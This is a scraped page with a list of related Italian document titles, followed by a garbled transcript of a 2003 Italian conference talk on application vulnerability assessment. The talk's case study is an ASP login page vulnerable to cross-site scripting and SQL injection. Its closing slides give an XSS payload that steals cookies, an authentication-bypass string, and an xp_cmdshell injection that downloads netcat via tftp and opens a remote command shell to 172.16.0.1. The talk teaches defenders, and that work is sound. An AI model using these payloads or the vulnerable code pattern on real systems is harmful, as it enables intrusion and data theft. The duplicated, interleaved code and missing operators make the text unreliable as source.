L analisi delle vulnerabilità delle applicazioni

Documenti analoghi
Quanto è sicuro il Remote Banking? Esperienze di Vulnerability Assessment a confronto

Applicazione ASP di esempio

Laboratorio di Applicazioni Internet Anno Accademico 2005/2006

GESTIONE DI MDB in WEB

A. Lorenzi Pagine ASP

D B M G Il linguaggio HTML

INDICE INTRODUZIONE E SCOPO DEL DOCUMENTO ORGANIZZAZIONE DEL DOCUMENTO. Introduzione e scopo del documento SICUREZZA... 8

Inviato: 20 Gen :11 pm Oggetto: Appunti - Corso avanzato. Inviato: 20 Gen :11 pm Oggetto: 20/01/ Avanzato

SQL Server Introduzione all uso di SQL Server Dutto Riccardo. Dutto Riccardo - SQL Server 2008.

@2011 Politecnico di Torino 1

SQL Server Architettura Client-Server. SQL Server Introduzione all uso di SQL Server Dutto Riccardo.

Trucchi, consigli e suggerimenti per il tuo portale in ASP

Presidenza del Consiglio dei Ministri Autorità Nazionale per la Sicurezza CESIS III Reparto U.C.Si.

Sicurezza Informatica: Tecniche di SQL INJECTION

APPENDICE 4 AL CAPITOLATO TECNICO

Servizio L2.S3.9 - Servizi professionali

REPERTORIO DELLE QUALIFICAZIONI PROFESSIONALI DELLA REGIONE CAMPANIA

InfoSec: non solo firewall e antivirus. Massimo Grandesso

Università di Ferrara Corso di Laurea Magistrale in Ingegneria Informatica e dell'automazione Ing. Massimo Carnevali Anno Accademico

Architetture Client/Server. Un architettura è centralizzata quando i dati e le applicazioni (programmi) risiedono in un unico nodo elaborativo

Offerta tecnica. Allegato II Piano di progetto - Gantt

The first all-in-one Cloud Security Suite Platform

VBScript. VBScript. Visual Basic Scripting Edition. Linguaggio di script per browser e server Microsoft Deriva da Visual Basic, ma è interpretato

SECONDA PARTE.omissis. . omissis

KLEIS WEB APPLICATION FIREWALL

Titolo Modulo Contenuti inc. Ore DATE Vecchie Date NUOVE TUTOR. Mario Varini un istituto scolastico.

Mantenimento dello stato

Sistema Informativo Unitario Regionale per la Programmazione (S.I.U.R.P.) LA SICUREZZA INFORMATICA

La nostra storia inizia nel 1992, anno in cui Nova Systems Roma viene costituita e muove i primi passi nel mercato dei servizi informatici.

Risorsa N Dal 09/2010 al 08/2011: Corso Cisco CCNA Networking Associate Dal 07/2014 al 08/2014: Corso Cisco CCNA Security Networking Associate

Introduzione a PHP Gestione dei Dati e della Conoscenza

CLASSIFICAZIONE CONSIP PUBLIC APPENDICE 2 AL CAPITOLATO TECNICO LOTTO 2. Descrizione dei profili professionali

Creare un portale personalizzato

Un Web Browser (client) Un Web Server (server) Un Database

Web applications con. breve introduzione. 23/10/12 Davide Zedda ITC Levi

Sistemi Operativi 11 ottobre 2017

Simulazione seconda prova Esame di Stato Sito Web - Gestione di un centro agroalimentare all ingrosso (Parte seconda)

LE PRIME ACTIVE SERVICE PAGE: oggetto REQUEST

Crea il tuo sito in ASP!

Lezione II: Web server e ambiente di lavoro

CONSAPEVOLEZZA IN MATERIA DI SICUREZZA INFORMATICA: IN CHE MODO IL COMPORTAMENTO ONLINE PUÒ RIVELARSI RISCHIOSO PER GLI UTENTI

Linee di programmazione

Analisi dei rischi: esercizi (esercizio 2)

Symantec IT Management Suite 8.0 powered by Altiris technology

GRUPPO DOMANDE N. 1. Quesito n. 1 Descrivere sinteticamente le finalità e le modalità d uso dei seguenti comandi UNIX / LINUX: LS, KILL, PS.

Attacchi alle applicazioni web: SQL injection e Cross-site scripting (XSS)

Modulo o Form in Html

Introduzione. Sommario. Il software. Definizione di Ingegneria del software

3.3.6 Gli operatori Le funzioni di accesso al tipo Le strutture di controllo Le funzioni

TESI DI LAUREA IN INFORMATICA

IENA Un modello alternativo per la rivelazione delle intrusioni in una rete locale.

ALLEGATO AL CAPITOLATO TECNICO

1 test per la certificazione Microsoft i

HTML: FORM. Prof. Francesco Accarino IIS Altiero Spinelli Via Leopardi 132 Sesto San Giovanni

Tito Flagella - Il protocollo HTTP

Indice register_globals escaping

L evoluzione delle Applicazioni Distribuite

Piano di Collaudo RU Servizio VPN Internet

KLEIS A.I. SECURITY SUITE

ASP Corso introduttivo

Solution Integrator 18/06/16.

Linguaggi di Programmazione

vulnerabilità del software

Pagine Asp. Pagine Asp

tbl_feedback Id Autonumber primary key E poi ho inserito un paio di records in modo da fare un test dell'intera procedura.

Sommario. 1 La shell di Windows PowerShell... 1

1) Il client(browser utilizzato) invia al server i dati inseriti dall utente. Server

Registro elettronico scuola ospedaliera rel. 5.0

CALENDARIO CORSI. Settembre Febbraio Kosmous Srl Via Padova, Roma Tel: Fax:

Interazione con DBMS remoto. DBMS MS SQL Server: web-hosting Somee

Concetti base di sicurezza applicativa web. Massimo Carnevali Responsabile Esercizio dei Sistemi Informativi Comune di Bologna

2011 Politecnico di Torino 1

Ricevimento: dopo la lezione (in aula) o su appuntamento (Sede Scientifica Pal. 1 Primo Piano)

Solution Integrator 28/12/16.

Security policy e Risk Management: la tecnologia BindView

Servlet e JDBC. Servlet e Web Server. Servlet e Web Server. Servlet e Web Server. Richieste. Servlet. Servlet:

DBMS. Alice Pavarani

SERVIZIO DI ACCESSO ALLA RETE CSI-RUPAR TRAMITE VPN SSL

Tecnologie per il Web. Il web: Architettura HTTP HTTP. SSL: Secure Socket Layer

Luca Tesei. Laboratorio di Sviluppo Web: Le Basi. Modulo IFTS. Fermo 31/03, 03/04, 07/ Prof. Luca Tesei Università di Camerino 1

OBIETTIVI MINIMI Anno scolastico TIC-TIT. 1. Foglio elettronico: funzioni fondamentali (Excel)

SCHEDA PROGETTO AGRITURISMO SECONDA FASE

Servizio Calcolo e Reti

Programma didattico. Sviluppare Applicazioni Distribuite in ambiente. Spring MVC

Business Continuity Experts

PIATTAFORMA RISK MANAGEMENT I Risk

LBSEC.

La Sicurezza nel Cloud Computing. Simone Riccetti IBM IT Security Architect

COMPANY PROFILE 2016

LEGGERE E VISUALIZZARE I DATI DI UNA TABELLA IN UNA PAGINA WEB

Sessione ordinaria 2003 Seconda prova scritta ESAME DI STATO DI ISTITUTO TECNICO INDUSTRIALE Indirizzo: INFORMATICA CORSO SPERIMENTALE Progetto ABACUS

La nostra esperienza come System Integrator ci permette di seguire i clienti su uno spettro variegato di problematiche di supporto e integrazione:

Installazione Configuration Software

(SINTESI DELL APPALTO)

Tecnico sistemista di reti

Early Warning. Bollettino VA-IT A

Indice I rischi: introduzione alle reti connesse a Internet Le reti e il protocollo TCP/IP

Guida di orientamento della documentazione di Business Objects BI Server

APPLICAZIONI WEB E INTRANET CON PHP

ASP: ESERCIZI E SOLUZIONI

Transcript:

L analisi delle vulnerabilità delle applicazioni Yann Bongiovanni Presidente di LIVE Network Security AIEA Sessione di Studio Roma, 9 aprile 2003 Milano, 8 maggio 2003

Indice Vulnerabilità di pubblico dominio: dati quantitativi e qualitativi Esempi di vulnerabilità applicative Il contesto normativo: dall Orange Book all ISO 15408 I limiti nell approccio attuale Struttura di un assessment per un applicazione Case study: Portale finanziario Conclusioni

Vulnerabilità nel periodo 4.2001-3.2002 1595 vulnerabilità segnalate 30 allarmi in media alla settimana 201 183 128 153 106 117 112 100 111 109 133 142 Apr Mag Giu Lug Ago Set Ott Nov Dic Gen Feb Mar Fonte: SecurityTracker

I top ten tra i produttori 10 produttori erano responsabili di 28% degli allarmi complessivi. A Microsoft sono attribuibili 11,7% delle vulnerabilità segnalate, quattro volte quelle del prossimo in classifica (Sun). Network Associates e Trend Micro sono le uniche società di security a entrare in classifica. Sun HP IBM Cisco Caldera/SCO Oracle Apache SF Trend Micro Fonte: SecurityTracker Microsoft Red Hat Netscape Network Associates

Tipi di software vulnerabile La maggior parte delle vulnerabilità riportate (86%) riguarda il livello applicativo, seguono i sistemi operativi e l hardware. La categoria di software più affetta riguarda i web server ed applicazioni web-based. Al secondo posto vi è il software per la security! Seguono server di posta elettronica e i browser web. Device OS OS OS - non classificate - Applicazioni web Applicazioni di security Server E-Mail Router/Bridge/Hub Web Browser File Transfer UNIX Database Client di posta elettronica Microsoft E-Commerce Multimedia Firewall File Sharing Linux Forum/Board/Portale Instant Messaging/IRC/Chat News 25,9% 22,8% 9,4% 4,8% 4,4% 4,0% 3,3% 3,2% 2,6% 2,3% 2,3% 1,9% 1,9% 1,8% 1,4% 1,2% 0,8% 0,8% 0,7% Device OS OS Device Device Device Device Device Device Device Device Device Device Directory Firewall Mac Giochi altro VPN Stampanti Embedded Server/Appliance Telefoni/Fax Telefoni/Fax Calendari VoIP Gestione certificati digitali Embedded Server Intrusion Detection Crittografia/VPN Multimedia PDA VPN 0,6% 0,5% 0,5% 0,4% 0,4% 0,3% 0,3% 0,2% 0,2% 0,2% 0,1% 0,1% 0,1% 0,1% 0,1% 0,1% 0,1% 0,1% 0,1% Fonte: SecurityTracker

Impatto L impatto più frequente (27%) riguarda la possibilità di eseguire codice arbitrario da remoto. La maggior parte delle vulnerabilità (anche quelle classificate diversamente) ha come impatto il denial-of-service. Esecuzione di codice arbitrario dalla rete Denial of service dalla rete Divulgazione di dati utente Divulgazione di dati di sistema Accesso utente da remoto Esecuzione di codice arbitrario dal sistema locale Divulgazione di dati di autenticazione Accesso con i massimi privilegi dal sistema locale Modifica di dati di sistema Accesso con i massimi privilegi dalla rete Accesso utente dalla rete Accesso a risorse di sistema dalla rete Modifica di dati utente Denial of service dal sistema locale Modifica di dati di autenticazione non specificato 27,20% 20,70% 19,20% 18,40% 16,00% 11,70% 10,40% 10,20% 7,80% 7,80% 6,60% 6,50% 6,30% 4,50% 0,90% 0,10% Fonte: SecurityTracker

Vulnerabilità riportate dal 2000 1600 1400 1200 1000 800 600 400 Input Validation Error Access Validation Error Exceptional Condition Error Environment Error Configuration Error Race Condition Design Error Other 200 0 2000 2001 2002 2003 Elaborazione LIVE su dati ICAT (icat.nist.gov) aggiornata al 24.3.2003

Tipi di errore Percentuali calcolate in base ad un campione di 4095 vulnerabilità rilevate nel periodo 2000-2003 Access Validation Error 10% Exceptional Condition Error 10% Environment Error 2% Configuration Error 6% Race Condition 2% Input Validation Error 44% Other 1% Design Error 25% Elaborazione LIVE su dati ICAT (icat.nist.gov) aggiornata al 24.3.2003

Esempio: Architettura client-server Rete e sistemi Internet Internet Web & Application Server Database Server Internet Firewall Perimeter Network Firewall Applicazione MS IIS ASP ODBC sa user MS SQL Server HTTPS anonymous user

Dettaglio Applicazione MS IIS ASP ODBC sa user MS SQL Server sclogin.asp HTTPS anonymous user <% Option Explicit <% Dim Option slogin Explicit slogin "" Dim slogin if Request("Accedi") slogin "" "Accedi" then Dim if Request("Accedi") p_strcodicecliente, "Accedi" p_strpassword, then objrs, strsql p_strcodicecliente Dim p_strcodicecliente, Request.Form("CodCli") p_strpassword, objrs, strsql p_strpassword Request.Form("Password") p_strcodicecliente Request.Form("CodCli") strsql p_strpassword "SELECT * FROM Request.Form("Password") tblclienti " & _ "WHERE codcli'" & p_strcodicecliente & _ strsql "' and password'" "SELECT * FROM & p_strpassword tblclienti " & "'" _ "WHERE codcli'" & p_strcodicecliente & _ Set objrs "' and Server.CreateObject("ADODB.Recordset") password'" & p_strpassword & "'" objrs.open strsql, "DRIVERSQL Server;UIDsa;SERVERLIVE-VM02" Set objrs Server.CreateObject("ADODB.Recordset") If (objrs.eof) objrs.open Then strsql, "DRIVERSQL Server;UIDsa;SERVERLIVE-VM02" slogin "NOK" Else If (objrs.eof) Then Session("User") slogin "NOK" objrs("codcli") Response.Redirect Else "servizioclienti.asp" End If Session("User") objrs("codcli") Response.Redirect "servizioclienti.asp" Set objrs End If Nothing End If Set objrs Nothing %> <html> End If %> <head> <html> <meta http-equiv"content-language" content"it"> <meta <head> http-equiv"content-type" content"text/html; charsetwindows-1252"> <title>servizio <meta http-equiv"content-language" Clienti MACROBUG</title> content"it"> </head> <meta http-equiv"content-type" content"text/html; charsetwindows-1252"> <title>servizio Clienti MACROBUG</title> <body> </head> <div <body> align"center"> <center> <table <div border"0" align"center"> cellpadding"0" cellspacing"0" style"border-collapse: collapse" bordercolor"#111111" id"autonumber1" width"541"> <center> <table width"198"><font border"0" cellpadding"0" face"lucida cellspacing"0" Sans Unicode"><img style"border-collapse: border"0" src"artwork/j0222021.gif"></font></td> collapse" bordercolor"#111111" id"autonumber1" width"541"> width"343"><font face"lucida Sans Unicode">Servizio Clienti MACROBUG<sup> </sup></font><p> <font face"lucida width"198"><font Sans Unicode">L'accesso face"lucida Sans è Unicode"><img riservato ai Clienti border"0" che src"artwork/j0222021.gif"></font></td> hanno sottoscritto width"343"><font il contratto face"lucida di assistenza Sans web.</font></p> Unicode">Servizio Clienti MACROBUG<sup> </sup></font><p> <p> </p> <font face"lucida Sans Unicode">L'accesso è riservato ai Clienti che <form hanno method"post"> sottoscritto il contratto di assistenza web.</font></p> <table <p> </p> border"0" cellpadding"0" cellspacing"0" style"border-collapse: collapse" bordercolor"#111111" width"100%" id"autonumber2"> <form method"post"> <table width"36%" border"0" style"padding-top: cellpadding"0" cellspacing"0" 2; padding-bottom: style"border-collapse: 2"><font face"lucida collapse" Sans Unicode">Codice bordercolor"#111111" Cliente width"100%" id"autonumber2"> </font></td> width"64%" width"36%" style"padding-top: style"padding-top: 2; padding-bottom: 2; padding-bottom: 2"><font 2"><font face"lucida face"lucida Sans Sans Unicode"> Unicode">Codice Cliente <input </font></td> type"text" name"codcli" size"10" value"<%request("codcli")%>" style"font-family: Lucida Sans Unicode" maxlength"10"> (10 cifre)</font></td> width"64%" style"padding-top: 2; padding-bottom: 2"><font face"lucida Sans Unicode"> <input type"text" name"codcli" size"10" value"<%request("codcli")%>" style"font-family: Lucida Sans Unicode" maxlength"10"> (10 cifre)</font></td> width"36%" style"padding-top: 2; padding-bottom: 2"><font face"lucida Sans Unicode">Password</font></td> width"64%" style"padding-top: 2; padding-bottom: 2"> <input type"password" width"36%" style"padding-top: name"password" 2; size"29" padding-bottom: style"font-family: 2"><font face"lucida Sans Sans Unicode"></td> Unicode">Password</font></td> width"64%" style"padding-top: 2; padding-bottom: 2"> </table> <input type"password" name"password" size"29" style"font-family: Lucida Sans Unicode"></td> <p align"center"> <input </table> type"submit" value"accedi" name"accedi" style"font-family: Lucida Sans Unicode"></font> </p> <p align"center"> </form> <input type"submit" value"accedi" name"accedi" style"font-family: Lucida Sans Unicode"></font> </td> </p> </form> </td> width"198"> </td> width"343"> <p align"left"><font width"198"> </td> face"lucida Sans Unicode"><br> <% if slogin width"343"> "NOK" then %> Il codice <p align"left"><font cliente o la password face"lucida non sono Sans validi. Unicode"><br> Si prega di ritentare. <% End <% if If slogin %> "NOK" then %> </font></td> Il codice cliente o la password non sono validi. Si prega di ritentare. <% End If %> </font></td> </table> </center> </div> </table> </center> </body> </div> </html> </body> </html>

Dettaglio della pagina di login Applicazione MS IIS ASP ODBC sa user MS SQL Server sclogin.asp HTTPS anonymous user <% Option Explicit <% Dim Option slogin Explicit slogin "" Dim slogin if Request("Accedi") slogin "" "Accedi" then Dim if Request("Accedi") p_strcodicecliente, "Accedi" p_strpassword, then objrs, strsql p_strcodicecliente Dim p_strcodicecliente, Request.Form("CodCli") p_strpassword, objrs, strsql <input type"text" name"codcli" p_strpassword Request.Form("Password") p_strcodicecliente Request.Form("CodCli") size"10" strsql p_strpassword "SELECT * FROM Request.Form("Password") tblclienti " & _ "WHERE codcli'" & p_strcodicecliente & _ strsql "' and password'" "SELECT * FROM & p_strpassword tblclienti " & "'" _ "WHERE codcli'" & p_strcodicecliente & _ Set objrs "' and Server.CreateObject("ADODB.Recordset") password'" & p_strpassword & "'" objrs.open strsql, "DRIVERSQL Server;UIDsa;SERVERLIVE-VM02" Set objrs Server.CreateObject("ADODB.Recordset") If (objrs.eof) objrs.open Then strsql, "DRIVERSQL Server;UIDsa;SERVERLIVE-VM02" slogin "NOK" Else If (objrs.eof) Then Session("User") slogin "NOK" objrs("codcli") Response.Redirect Else "servizioclienti.asp" End If Session("User") objrs("codcli") Response.Redirect "servizioclienti.asp" Set objrs End If Nothing <input type"text" name"codcli" size"10" value"<%request("codcli")%>" maxlength"10"> maxlength"10"> <input <input type"password" type"password" name"password" name"password" size"29 > size"29 > End If Set objrs Nothing %> <html> End If %> <head> <html> <meta http-equiv"content-language" content"it"> <meta <head> http-equiv"content-type" content"text/html; charsetwindows-1252"> <title>servizio <meta http-equiv"content-language" Clienti MACROBUG</title> content"it"> </head> <meta http-equiv"content-type" content"text/html; charsetwindows-1252"> <title>servizio Clienti MACROBUG</title> <body> </head> <div <body> align"center"> <center> <table <div border"0" align"center"> cellpadding"0" cellspacing"0" style"border-collapse: collapse" bordercolor"#111111" id"autonumber1" width"541"> <center> <table width"198"><font border"0" cellpadding"0" face"lucida cellspacing"0" Sans Unicode"><img style"border-collapse: border"0" src"artwork/j0222021.gif"></font></td> collapse" bordercolor"#111111" id"autonumber1" width"541"> width"343"><font face"lucida Sans Unicode">Servizio Clienti MACROBUG<sup> </sup></font><p> <font face"lucida width"198"><font Sans Unicode">L'accesso face"lucida Sans è Unicode"><img riservato ai Clienti border"0" che src"artwork/j0222021.gif"></font></td> hanno sottoscritto width"343"><font il contratto face"lucida di assistenza Sans web.</font></p> Unicode">Servizio Clienti MACROBUG<sup> </sup></font><p> <p> </p> <font face"lucida Sans Unicode">L'accesso è riservato ai Clienti che <form hanno method"post"> sottoscritto il contratto di assistenza web.</font></p> <table <p> </p> border"0" cellpadding"0" cellspacing"0" style"border-collapse: collapse" bordercolor"#111111" width"100%" id"autonumber2"> <form method"post"> <table width"36%" border"0" style"padding-top: cellpadding"0" cellspacing"0" 2; padding-bottom: style"border-collapse: 2"><font face"lucida collapse" Sans Unicode">Codice bordercolor"#111111" Cliente width"100%" id"autonumber2"> </font></td> width"64%" width"36%" style"padding-top: style"padding-top: 2; padding-bottom: 2; padding-bottom: 2"><font 2"><font face"lucida face"lucida Sans Sans Unicode"> Unicode">Codice Cliente <input </font></td> type"text" name"codcli" size"10" value"<%request("codcli")%>" style"font-family: Lucida Sans Unicode" maxlength"10"> (10 cifre)</font></td> width"64%" style"padding-top: 2; padding-bottom: 2"><font face"lucida Sans Unicode"> <input type"text" name"codcli" size"10" value"<%request("codcli")%>" style"font-family: Lucida Sans Unicode" maxlength"10"> (10 cifre)</font></td> width"36%" style"padding-top: 2; padding-bottom: 2"><font face"lucida Sans Unicode">Password</font></td> width"64%" style"padding-top: 2; padding-bottom: 2"> <input type"password" width"36%" style"padding-top: name"password" 2; size"29" padding-bottom: style"font-family: 2"><font face"lucida Sans Sans Unicode"></td> Unicode">Password</font></td> width"64%" style"padding-top: 2; padding-bottom: 2"> </table> <input type"password" name"password" size"29" style"font-family: Lucida Sans Unicode"></td> <p align"center"> <input </table> type"submit" value"accedi" name"accedi" style"font-family: Lucida Sans Unicode"></font> </p> <p align"center"> </form> <input type"submit" value"accedi" name"accedi" style"font-family: Lucida Sans Unicode"></font> </td> </p> </form> </td> width"198"> </td> width"343"> <p align"left"><font width"198"> </td> face"lucida Sans Unicode"><br> <% if slogin width"343"> "NOK" then %> Il codice <p align"left"><font cliente o la password face"lucida non sono Sans validi. Unicode"><br> Si prega di ritentare. <% End <% if If slogin %> "NOK" then %> </font></td> Il codice cliente o la password non sono validi. Si prega di ritentare. <% End If %> </font></td> </table> </center> </div> </table> </center> </body> </div> </html> </body> </html>

Esempio di errore: Cross-Site Scripting La logica applicativa: L applicazione riceve dall utente una stringa di testo e la utilizza per specificare i criteri di selezione nel database. Per evitare all utente di ridigitare i dati immessi nei campi, l applicazione utilizza i valori forniti dall utente. L errore: L applicazione inserisce i dati forniti dall utente nella stringa che compone il campo XML/HTML senza eseguire una codifica HTML. L impatto: E possibile far eseguire nel browser dell utente codice JavaScript proveniente da un sito estraneo. Il codice viene eseguito nel contesto di sicurezza della pagina principale. Questa vulnerabilità può essere sfruttata per manipolare i contenuti della pagina web o per carpire dati dell utente (cookies o campi di un form).

Errore di validazione (XSS) Applicazione MS IIS ASP ODBC sa user MS SQL Server HTTPS anonymous user <input <input type"text" type"text" name"codcli" name"codcli" size"10" size"10" value"<%request("codcli")%>" value"<%request("codcli")%>" maxlength"10"> maxlength"10"> <input <input type"password" type"password" name"password" name"password" size"29 > size"29 > CodCli 0000000000 <input <input type"text" type"text" name"codcli" name"codcli" size"10" size"10" value 0000000000" maxlength"10"> maxlength"10"> <input <input type"password" type"password" name"password" name"password" size"29 > size"29 >

Errore di validazione (XSS) Applicazione MS IIS ASP ODBC sa user MS SQL Server HTTPS anonymous user <input <input type"text" type"text" name"codcli" name"codcli" size"10" size"10" value"<%request("codcli")%>" value"<%request("codcli")%>" maxlength"10"> maxlength"10"> <input <input type"password" type"password" name"password" name"password" size"29 > size"29 > CodCli "> <script> alert(document.cookie) </script> <input <input <input type"text" type"text" name"codcli" name"codcli" size"10" size"10" value""><script>alert(document.cookie) </script><input" maxlength"10"> maxlength"10"> <input <input type"password" type"password" name"password" name"password" size"29 > size"29 >

Esempio di errore: SQL Injection La logica applicativa: L applicazione riceve dall utente una stringa di testo e la utilizza per specificare i criteri di selezione nel database. L errore: L applicazione utilizza i dati forniti dall utente per costruire una stringa che contiene il comando SQL (che invierà al database server) senza controllare la presenza di caratteri che delimitano stringhe di testo oppure senza controllare che dati presunti numerici siano effettivamente tali. L impatto: E possibile alterare le istruzioni inviate al database server. In funzione del tipo di database server e del livello di autorizzazioni con cui l applicazione opera nei confronti del database server è possibile operare nel database dell applicazione oppure eseguire comandi arbitrari nel sistema che ospita il database server.

Errore di validazione 2 (SQL Injection) Applicazione MS IIS ASP ODBC sa user MS SQL Server sclogin.asp HTTPS anonymous user <% Option Explicit <% Dim Option slogin Explicit slogin "" Dim slogin if Request("Accedi") slogin "" "Accedi" then Dim if Request("Accedi") p_strcodicecliente, "Accedi" p_strpassword, then objrs, strsql p_strcodicecliente p_strcodicecliente Request.Form("CodCli") Request.Form("CodCli") p_strpassword p_strpassword Request.Form("Password") Request.Form("Password") strsql strsql "SELECT "SELECT * * FROM FROM tblclienti tblclienti WHERE WHERE codcli'" codcli'" & & p_strcodicecliente p_strcodicecliente & & "' "' and and password'" password'" & & p_strpassword p_strpassword & & "'" "'" Set Set objrs objrs Server.CreateObject("ADODB.Recordset") Server.CreateObject("ADODB.Recordset") objrs.open objrs.open strsql, strsql, "DRIVERSQL "DRIVERSQL Server;UIDsa;SERVERLIVE-VM02" Server;UIDsa;SERVERLIVE-VM02" If If (objrs.eof) (objrs.eof) Then Then slogin slogin "NOK" "NOK" Else Else Session("User") Session("User") objrs("codcli") objrs("codcli") Response.Redirect Response.Redirect "servizioclienti.asp" "servizioclienti.asp" End End If If p_strcodicecliente Dim p_strcodicecliente, Request.Form("CodCli") p_strpassword, objrs, strsql p_strpassword Request.Form("Password") p_strcodicecliente Request.Form("CodCli") strsql p_strpassword "SELECT * FROM Request.Form("Password") tblclienti " & _ "WHERE codcli'" & p_strcodicecliente & _ strsql "' and password'" "SELECT * FROM & p_strpassword tblclienti " & "'" _ "WHERE codcli'" & p_strcodicecliente & _ Set objrs "' and Server.CreateObject("ADODB.Recordset") password'" & p_strpassword & "'" objrs.open strsql, "DRIVERSQL Server;UIDsa;SERVERLIVE-VM02" Set objrs Server.CreateObject("ADODB.Recordset") If (objrs.eof) objrs.open Then strsql, "DRIVERSQL Server;UIDsa;SERVERLIVE-VM02" slogin "NOK" Else If (objrs.eof) Then Session("User") slogin "NOK" objrs("codcli") Response.Redirect Else "servizioclienti.asp" End If Session("User") objrs("codcli") Response.Redirect "servizioclienti.asp" Set objrs End If Nothing End If Set objrs Nothing %> <html> End If %> <head> <html> <meta http-equiv"content-language" content"it"> <meta <head> http-equiv"content-type" content"text/html; charsetwindows-1252"> <title>servizio <meta http-equiv"content-language" Clienti MACROBUG</title> content"it"> </head> <meta http-equiv"content-type" content"text/html; charsetwindows-1252"> <title>servizio Clienti MACROBUG</title> <body> </head> <div <body> align"center"> <center> <table <div border"0" align"center"> cellpadding"0" cellspacing"0" style"border-collapse: collapse" bordercolor"#111111" id"autonumber1" width"541"> <center> <table width"198"><font border"0" cellpadding"0" face"lucida cellspacing"0" Sans Unicode"><img style"border-collapse: border"0" src"artwork/j0222021.gif"></font></td> collapse" bordercolor"#111111" id"autonumber1" width"541"> width"343"><font face"lucida Sans Unicode">Servizio Clienti MACROBUG<sup> </sup></font><p> <font face"lucida width"198"><font Sans Unicode">L'accesso face"lucida Sans è Unicode"><img riservato ai Clienti border"0" che src"artwork/j0222021.gif"></font></td> hanno sottoscritto width"343"><font il contratto face"lucida di assistenza Sans web.</font></p> Unicode">Servizio Clienti MACROBUG<sup> </sup></font><p> <p> </p> <font face"lucida Sans Unicode">L'accesso è riservato ai Clienti che <form hanno method"post"> sottoscritto il contratto di assistenza web.</font></p> <table <p> </p> border"0" cellpadding"0" cellspacing"0" style"border-collapse: collapse" bordercolor"#111111" width"100%" id"autonumber2"> <form method"post"> <table width"36%" border"0" style"padding-top: cellpadding"0" cellspacing"0" 2; padding-bottom: style"border-collapse: 2"><font face"lucida collapse" Sans Unicode">Codice bordercolor"#111111" Cliente width"100%" id"autonumber2"> </font></td> width"64%" width"36%" style"padding-top: style"padding-top: 2; padding-bottom: 2; padding-bottom: 2"><font 2"><font face"lucida face"lucida Sans Sans Unicode"> Unicode">Codice Cliente <input </font></td> type"text" name"codcli" size"10" value"<%request("codcli")%>" style"font-family: Lucida Sans Unicode" maxlength"10"> (10 cifre)</font></td> width"64%" style"padding-top: 2; padding-bottom: 2"><font face"lucida Sans Unicode"> <input type"text" name"codcli" size"10" value"<%request("codcli")%>" style"font-family: Lucida Sans Unicode" maxlength"10"> (10 cifre)</font></td> width"36%" style"padding-top: 2; padding-bottom: 2"><font face"lucida Sans Unicode">Password</font></td> width"64%" style"padding-top: 2; padding-bottom: 2"> <input type"password" width"36%" style"padding-top: name"password" 2; size"29" padding-bottom: style"font-family: 2"><font face"lucida Sans Sans Unicode"></td> Unicode">Password</font></td> width"64%" style"padding-top: 2; padding-bottom: 2"> </table> <input type"password" name"password" size"29" style"font-family: Lucida Sans Unicode"></td> <p align"center"> <input </table> type"submit" value"accedi" name"accedi" style"font-family: Lucida Sans Unicode"></font> </p> <p align"center"> </form> <input type"submit" value"accedi" name"accedi" style"font-family: Lucida Sans Unicode"></font> </td> </p> </form> </td> width"198"> </td> width"343"> <p align"left"><font width"198"> </td> face"lucida Sans Unicode"><br> <% if slogin width"343"> "NOK" then %> Il codice <p align"left"><font cliente o la password face"lucida non sono Sans validi. Unicode"><br> Si prega di ritentare. <% End <% if If slogin %> "NOK" then %> </font></td> Il codice cliente o la password non sono validi. Si prega di ritentare. <% End If %> </font></td> </table> </center> </div> </table> </center> </body> </div> </html> </body> </html>

Errore di validazione 2 (SQL Injection) Applicazione MS IIS ASP ODBC sa user MS SQL Server Password macrobug CodCli HTTPS anonymous user 0000063936 p_strcodicecliente Request.Form("CodCli") p_strcodicecliente Request.Form("CodCli") p_strpassword Request.Form("Password") p_strpassword Request.Form("Password") strsql "SELECT * FROM tblclienti WHERE codcli'" & _ strsql "SELECT * FROM tblclienti WHERE codcli'" & _ p_strcodicecliente & "' and password'" & p_strpassword & "'" p_strcodicecliente & "' and password'" & p_strpassword & "'" Set objrs Server.CreateObject("ADODB.Recordset") Set objrs Server.CreateObject("ADODB.Recordset") objrs.open strsql, "DRIVERSQL Server;UIDsa;SERVERLIVE-VM02" objrs.open strsql, "DRIVERSQL Server;UIDsa;SERVERLIVE-VM02" If (objrs.eof) Then If (objrs.eof) Then slogin "NOK" slogin "NOK" Else Else Session("User") objrs("codcli") Session("User") objrs("codcli") Response.Redirect "servizioclienti.asp" Response.Redirect "servizioclienti.asp" End If End If strsql SELECT * FROM tblclienti WHERE CodCli '0000063936' AND Password 'macrobug'

Esempio: SQL Injection Applicazione Password HTTPS anonymous user MS IIS ASP ODBC sa user MS SQL Server p_strcodicecliente Request.Form("CodCli") p_strpassword p_strcodicecliente Request.Form("Password") Request.Form("CodCli") p_strpassword Request.Form("Password") strsql "SELECT * FROM tblclienti WHERE codcli'" & _ strsql p_strcodicecliente "SELECT * FROM & "' and tblclienti password'" WHERE & p_strpassword codcli'" & _ & "'" p_strcodicecliente & "' and password'" & p_strpassword & "'" Set objrs Server.CreateObject("ADODB.Recordset") objrs.open Set strsql, Server.CreateObject("ADODB.Recordset") "DRIVERSQL Server;UIDsa;SERVERLIVE-VM02" objrs.open strsql, "DRIVERSQL Server;UIDsa;SERVERLIVE-VM02" If (objrs.eof) Then slogin If (objrs.eof) "NOK" Then Else slogin "NOK" Session("User") Else objrs("codcli") Response.Redirect Session("User") "servizioclienti.asp" objrs("codcli") End If Response.Redirect "servizioclienti.asp" End If CodCli ' OR 11 -- strsql SELECT * FROM tblclienti WHERE CodCli '' OR 11 --' AND Password ''

Esempio: SQL Injection Applicazione MS IIS ASP ODBC sa user MS SQL Server cmd.exe Password HTTPS anonymous user CodCli ' EXEC xp_cmdshell 'tftp i 172.16.0.1 get nc.exe c:\temp\nc.exe && c:\temp\nc.exe d e cmd.exe 172.16.0.1 21'-- strsql SELECT * FROM tblclienti WHERE CodCli '' EXEC xp_cmdshell 'tftp i 172.16.0.1 get nc.exe c:\temp\nc.exe && c:\temp\nc.exe d e cmd.exe 172.16.0.1 21' -- AND Password 'macrobug'

